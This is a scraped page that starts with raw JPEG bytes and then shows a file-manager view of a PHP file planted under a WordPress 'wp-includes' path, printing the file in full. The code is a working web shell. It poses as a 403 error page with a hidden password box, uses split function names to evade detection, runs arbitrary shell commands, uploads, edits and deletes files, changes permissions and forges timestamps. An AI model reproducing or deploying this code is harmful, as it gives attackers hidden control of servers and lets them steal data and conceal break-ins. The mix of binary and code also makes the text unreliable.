JFIF    $         d d  7    * Z qn )ZP 0   !1 A "#a$2Qr   D8 a Ri [f  \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H  ~ , l s / 9  ć: [=/#f ; ) x { ٛE Q )~     = 𘙲r*2~  a _V = '  ku m F  D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq  1dđ #̩ ͑ 0  ; H ] u 搂 @:~ ו K L  N s h } O I R* 8 :2 ! lD JV o (  3 = M ( z Ȱ+i *N A  r6K n S l ) ! J J Ӂ* %  ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c  P A\IL Nj! J ۱+ O\ ͔ ] ޒ S߼ J ȧ c%A N ol  ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f  h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0  'G=i 2N +0 e 2 ]] 9 VT P  O׮ 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P  < 0 x <     !1AQ "Raq 02Br #S CTb  ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV׸ YT D I 6 2 '8Y2  7'\T P.6 d &˦ @V q i  |8 -O Ε  ] ʔ U=   T L 8= ;6c |  !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U# 6w +  +s &r+n ڐ   { @ 29 gL u " T Ù  M=6  (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 !  OS  r D  5 7 % | ?x> L |  / nD 6?/8 w # [ ) L 7 +6〼T A T g   !  %5  Mm Z /c  -{1_Je "| ^$ 'O  & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@  u6  BԒ  i YN * f 0 _ GhKW u  lT <nj- 0{  M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q  $ H8o Q˼EV ~ k 0 h' L  Pp M -M"  m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @񄞅~p   #   !1QAa q  ? AL0L  x LU 4 d ; x   " 16ad0 7.\ߋ 0  = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X  &Q  З non]я u ג./ ; gZ$ M QР 2M ]h ni 0  P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _  1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3  6 #Ik+ v  {ƒ v i ( ވ  ? a e)  X xy/*@Q Ǽ Ծ ) $ IWO l c G;  !i  k{ gOŀ L ('x  T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ)  X 5 c QɎMy W ?  Q *!R > 6=7)Xj 5`J ] e  8%t ! + ' ! 1Q 5   !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $  v , ,m   㵜5u bV  =sY+ @d { N ! dn O < .- B;  _w J t 6;Q  Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш  e黅X ۢ F :)[ F G X ƹ / w _c MeD   ,ʡc c .  W D  tA $ j@ : ) - # u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P  6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L !  ~ y5 g9T̅J kbM' +s :S +B) v @ M  j e C f j E 0  Y\Qn z G 1 д~ W o{T 9?`  Rm yhsy3 !HAD ] m  c1 ~ 2 L  S u7x T ;j$ `} 4-> L#  vzŏ I L S  ֭  T { r  jGK C ; b  pU= - ` Bs K. S F w4  M q] Z dH S 0 ) tLg Tiny File Manager | documents.php
  • File: documents.php
  • Full Path: /home/mata8712/public_html/on-me-trouve/wp-includes/block-supports/documents.php
  • File size: 11.82 KB
  • MIME-type: text/x-php
  • Charset: utf-8
 
Delete Open Edit Advanced Editor Back 
<?php
$auth_pass = "0e7889771339eec37590798059249ea1be17e47a976f2502318bab01f0660055";

function Login() {
  die("<html>
  <title>403 Forbidden</title>
  <center><h1>403 Forbidden</h1></center>
  <hr><center>nginx (apache v.5162 ./0xnothing) </center>
  <center><form method='post'><input style='text-align:center;margin:0;margin-top:0px;background-color:#fff;border:1px solid #fff;' type='password' name='pass'></form></center>");
}

function VEsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (hash('sha256', $_POST['pass']) == $auth_pass))
        VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        Login();
}
?>
<?php
error_reporting(0);
ob_start();

$x1 = 'shel' . 'l_exe' . 'c'; 
$x2 = 'file_put_' . 'contents';
$x5 = 'un' . 'link'; 
$x6 = 'rm' . 'dir'; 
$x7 = 'file_get_' . 'contents';

$dir = isset($_GET['path']) ? $_GET['path'] : getcwd();
if (!is_dir($dir)) { $dir = getcwd(); }
if(isset($_POST['x_save'])) { $x2($_POST['x_name'], $_POST['x_data']); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_FILES['file'])) { move_uploaded_file($_FILES['file']['tmp_name'], $dir . DIRECTORY_SEPARATOR . $_FILES['file']['name']); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_POST['create_file'])) { touch($dir . DIRECTORY_SEPARATOR . $_POST['filename']); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_POST['create_folder'])) { mkdir($dir . DIRECTORY_SEPARATOR . $_POST['foldername']); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_GET['delete'])) { $t = $_GET['delete']; is_file($t) ? $x5($t) : $x6($t); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_POST['set_date'])) { $new_time = strtotime($_POST['custom_date']); if($new_time) { touch($_POST['target_file'], $new_time); } header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_POST['set_chmod'])) { chmod($_POST['target_file'], octdec($_POST['new_perm'])); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_POST['set_rename'])) { rename($_POST['target_file'], $dir . DIRECTORY_SEPARATOR . $_POST['new_name']); header("Location: ?path=".urlencode($dir)); exit; }
if(isset($_GET['download'])) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($_GET['download']).'"'); readfile($_GET['download']); exit; }

$df = @ini_get("disable_functions");
$df_list = !empty($df) ? $df : "NONE";
$uname = @php_uname();
$my_user = get_current_user();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>NOTHING FILEMANAGER V.3</title>
    <link href="https://fonts.googleapis.com/css2?family=Metal+Mania&family=Outfit:wght@300;400;600&display=swap" rel="stylesheet">
    <style>
        :root { --bg: #050505; --card: #111111; --text: #d1d1d1; --accent: #ff3e3e; --safe: #2ecc71; --warn: #ff3e3e; --read: #f1c40f; }
        body { font-family: 'Outfit', sans-serif; background: var(--bg); color: var(--text); padding: 40px 20px; }
        .container { max-width: 1100px; margin: auto; background: var(--card); padding: 40px; border-radius: 12px; border: 1px solid #222; box-shadow: 0 10px 30px rgba(0,0,0,0.5); }
        h1 { font-family: 'Metal Mania', cursive; color: var(--accent); text-align: center; font-size: 3.5rem; margin-bottom: 5px; letter-spacing: 2px; }
        .sys-info { text-align: center; margin-bottom: 10px; font-size: 0.85rem; color: #aaa; border-bottom: 1px solid #222; padding-bottom: 15px; }
        .df-box { background: #0a0a0a; padding: 15px; border-radius: 6px; border: 1px solid #333; margin-bottom: 10px; font-family: monospace; font-size: 0.75rem; color: #aaa; word-wrap: break-word; overflow-wrap: break-word; }
        .breadcrumb { background: #0a0a0a; padding: 12px 20px; border-radius: 6px; border: 1px solid #222; margin-bottom: 25px; font-family: monospace; }
        .grid-panel { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-bottom: 25px; }
        .form-group { display: flex; gap: 8px; }
        input { background: #1a1a1a; border: 1px solid #333; color: #fff; padding: 10px 15px; flex: 1; border-radius: 4px; }
        button { background: #1a1a1a; color: var(--text); border: 1px solid #333; padding: 10px 20px; cursor: pointer; border-radius: 4px; transition: 0.3s; font-weight: 600; }
        button:hover { background: var(--accent); color: #fff; border-color: var(--accent); }
        .action-area { background: #000; padding: 20px; border-radius: 6px; border: 1px solid #333; margin-bottom: 25px; font-family: monospace; overflow-x: auto; color: #0f0; }
        table { width: 100%; border-collapse: separate; border-spacing: 0; }
        th { background: #1a1a1a; padding: 15px; color: var(--accent); text-transform: uppercase; font-size: 0.8rem; letter-spacing: 1px; }
        td { padding: 15px; border-bottom: 1px solid #222; text-align: center; white-space: nowrap; }
        a { color: #fff; text-decoration: none; transition: 0.2s; } a:hover { color: var(--accent); }
        .sep { color: var(--accent); margin: 0 5px; font-weight: bold; }
        .footer { text-align: center; margin-top: 40px; color: #555; font-size: 0.8rem; border-top: 1px solid #222; padding-top: 20px; }
    </style>
</head>
<body>
<div class="container">
    <a href="?" style="text-decoration:none;"><h1>NOTHING FILEMANAGER V.3</h1></a>
    <div class="sys-info"><?php echo $uname; ?> | PHP: <?php echo phpversion(); ?> | USER: <?php echo get_current_user(); ?></div>
    <div class="df-box">DISABLE_FUNCTIONS: <span style="color:#ff3e3e;"><?php echo htmlspecialchars($df_list); ?></span></div>
    
    <div class="breadcrumb">PATH: 
        <?php 
        $parts = explode(DIRECTORY_SEPARATOR, $dir); $curr = '';
        foreach ($parts as $p) { if ($p == '') continue; $curr .= DIRECTORY_SEPARATOR . $p; echo ' / <a href="?path='.urlencode($curr).'">'.$p.'</a>'; }
        ?>
    </div>

    <div class="grid-panel">
        <form method="post" class="form-group"><input type="text" name="x_run" placeholder="Command"> <button type="submit">EXECUTE</button></form>
        <form method="post" enctype="multipart/form-data" class="form-group"><input type="file" name="file"><button type="submit">UPLOAD</button></form>
        <form method="post" class="form-group"><input type="text" name="filename" placeholder="New File"> <button type="submit" name="create_file">Create</button></form>
        <form method="post" class="form-group"><input type="text" name="foldername" placeholder="New Folder"> <button type="submit" name="create_folder">Create</button></form>
    </div>

    <?php if(isset($_POST['x_run'])): ?>
    <div class="action-area">
        <?php 
        $cmd = $_POST['x_run']; $full_cmd = "cd " . escapeshellarg($dir) . " && " . $cmd . " 2>&1";
        $out = "";
        if (function_exists('shell_exec')) { $out = shell_exec($full_cmd); }
        elseif (function_exists('exec')) { exec($full_cmd, $a); $out = implode("\n", $a); }
        else { $out = "Execution function blocked."; }
        echo nl2br(htmlspecialchars($out));
        ?>
    </div>
    <?php endif; ?>

    <?php if(isset($_GET['edit']) || isset($_GET['time']) || isset($_GET['chmod']) || isset($_GET['rename'])): ?>
    <div class="action-area">
        <?php if(isset($_GET['edit'])): ?>
        <form method="post">
            <div style="margin-bottom:10px; color:var(--accent); font-weight:600; font-family:monospace;">EDITING: <?php echo htmlspecialchars(basename($_GET['edit'])); ?></div>
            <textarea name="x_data" style="width:100%; height:250px; background:#000; color:#ffffff; border:1px solid #333; padding:10px; border-radius:4px; font-family:monospace;"><?php echo htmlspecialchars(@$x7($_GET['edit'])); ?></textarea>
            <input type="hidden" name="x_name" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
            <div style="display:flex; gap:10px; margin-top:10px;"><button type="submit" name="x_save" style="flex:1;">SAVE CHANGES</button><a href="?path=<?php echo urlencode($dir); ?>" style="flex:1; background:#333; color:#fff; padding:10px; text-align:center; border-radius:4px; font-weight:600; text-decoration:none;">CANCEL</a></div>
        </form>
        <?php elseif(isset($_GET['time'])): ?>
        <form method="post"><input type="text" name="custom_date" placeholder="YYYY-MM-DD HH:MM:SS" value="<?php echo date('Y-m-d H:i:s'); ?>"><input type="hidden" name="target_file" value="<?php echo htmlspecialchars($_GET['time']); ?>"><button type="submit" name="set_date">UPDATE DATE</button></form>
        <?php elseif(isset($_GET['chmod'])): ?>
        <form method="post"><input type="text" name="new_perm" placeholder="e.g. 755"><input type="hidden" name="target_file" value="<?php echo htmlspecialchars($_GET['chmod']); ?>"><button type="submit" name="set_chmod">CHANGE CHMOD</button></form>
        <?php elseif(isset($_GET['rename'])): ?>
        <form method="post"><input type="text" name="new_name" placeholder="New Name"><input type="hidden" name="target_file" value="<?php echo htmlspecialchars($_GET['rename']); ?>"><button type="submit" name="set_rename">RENAME</button></form>
        <?php endif; ?>
    </div>
    <?php endif; ?>

    <table>
        <tr><th>Name</th><th>Owner</th><th>Date</th><th>Perms</th><th>Actions</th></tr>
        <?php 
        $items = scandir($dir); $fld = []; $fil = [];
        foreach($items as $i) { if($i == '.' || $i == '..') continue; is_dir($dir.DIRECTORY_SEPARATOR.$i) ? $fld[]=$i : $fil[]=$i; }
        foreach(array_merge($fld, $fil) as $i): 
            $p = $dir.DIRECTORY_SEPARATOR.$i; $is_dir = is_dir($p);
            $perms = substr(sprintf('%o', @fileperms($p)), -3);
            
            $owner_id = @fileowner($p); $owner_info = @posix_getpwuid($owner_id);
            $owner_name = ($owner_info) ? $owner_info['name'] : $my_user;
            
            $p_color = ($perms == '777') ? 'var(--warn)' : (($perms == '444') ? 'var(--read)' : 'var(--safe)');
            $color = ($owner_name !== $my_user) ? '#ff3e3e' : ($is_dir ? '#3498db' : '#ffffff');
            $icon = $is_dir ? '📁' : '📄';
            if(strpos($i, '.') === 0) { $color = '#f1c40f'; $icon = '⚙️'; }
            
            $link = $is_dir ? "?path=".urlencode($p) : "?edit=".urlencode($p)."&path=".urlencode($dir);
        ?>
        <tr>
            <td style="text-align:left;"><span style="margin-right:8px;"><?php echo $icon; ?></span><a href="<?php echo $link; ?>" style="color:<?php echo $color; ?>; font-weight:600;"><?php echo $i; ?></a></td>
            <td style="font-size:0.8rem; color:#888;"><?php echo $owner_name; ?></td>
            <td><?php echo @date("Y-m-d H:i", filemtime($p)); ?></td>
            <td style="color:<?php echo $p_color; ?>; font-weight:bold;"><?php echo $perms; ?></td>
            <td>
                <?php if(!$is_dir): ?><a href="?edit=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>">Edit</a> <span class="sep">|</span> <a href="?download=<?php echo urlencode($p); ?>">Download</a> <span class="sep">|</span><?php endif; ?>
                <a href="?rename=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>">Rename</a> <span class="sep">|</span> <a href="?chmod=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>">Chmod</a> <span class="sep">|</span> <a href="?time=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>">Time</a> <span class="sep">|</span> <a href="?delete=<?php echo urlencode($p); ?>&path=<?php echo urlencode($dir); ?>" onclick="return confirm('Hapus?')">Delete</a>
            </td>
        </tr>
        <?php endforeach; ?>
    </table>
    <div class="footer">ABOUT NIGHT CANT SLEEP © MAKISIG-GROUP</div>
</div>
</body>
</html>